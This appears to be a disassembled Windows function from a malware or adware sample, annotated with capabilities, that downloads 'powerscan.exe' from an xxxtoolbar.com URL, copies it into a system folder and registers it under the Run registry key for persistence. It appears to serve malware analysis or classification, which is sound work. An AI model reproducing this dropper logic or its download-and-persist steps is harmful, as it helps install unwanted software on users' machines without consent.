Function at 0x40105f
Capabilities:
Copy file
Create directory
Get common file path
Persist via run registry key
Set registry value

Disassembly:
jmp 0x405d70
sub esp, 0x410
push ebx
push esi
push edi
mov edi, dword [esp + 0x424]
mov esi, 0x40cddc
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x405daf
test cl, cl
je 0x405dab
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x405daf
add eax, 2
add esi, 2
test cl, cl
jne 0x405d87
xor eax, eax
jmp 0x405db4
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4060bd
mov esi, 0x40cdd8
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x405deb
test cl, cl
je 0x405de7
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x405deb
add eax, 2
add esi, 2
test cl, cl
jne 0x405dc3
xor eax, eax
jmp 0x405df0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4060bd
mov esi, 0x40cdd4
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x405e27
test cl, cl
je 0x405e23
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x405e27
add eax, 2
add esi, 2
test cl, cl
jne 0x405dff
xor eax, eax
jmp 0x405e2c
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4060bd
push 0
push str.SoftwarePowerScan
push SysReAllocStringLen
call fcn.00401028
add esp, 0xc
test al, al
je 0x405e5b
pop edi
pop esi
mov eax, 3
pop ebx
add esp, 0x410
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x214]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x214]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.powerscan.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0x214]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_power_powerscan.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x405edd
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x410
ret
or ecx, 0xffffffff
mov edi, 0x40e0f0
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40c9dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Power_Scan
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
and ecx, 3
lea eax, [esp + 0x14]
rep movsb byte es:[edi], byte [esi]
push eax
call ebx
mov edi, 0x40c9dc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.powerscan.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x220]
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
pop ebp
jne 0x405fee
pop edi
pop esi
mov eax, 7
pop ebx
add esp, 0x410
ret
push 0
lea edx, [esp + 0x31c]
push 2
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x318]
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x110]
push 0x40c9dc
push edx
call esi
lea eax, [esp + 0x110]
push str.Power_Scan
push eax
call esi
lea ecx, [esp + 0x110]
push 0
push ecx
call ebx
lea edx, [esp + 0x110]
push str.Power_Scan
lea eax, [esp + 0x10]
push edx
push eax
call fcn.004010f0
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x10]
push ecx
push 1
push str.Power_Scan
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocStringLen
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
mov edx, dword [esp + 0x420]
push 0
push edx
push str.account_id
push str.SoftwarePowerScan
push SysReAllocStringLen
call fcn.004010a0
add esp, 0x14
mov eax, 5
pop edi
pop esi
pop ebx
add esp, 0x410
ret
pop edi
pop esi
mov eax, 6
pop ebx
add esp, 0x410
ret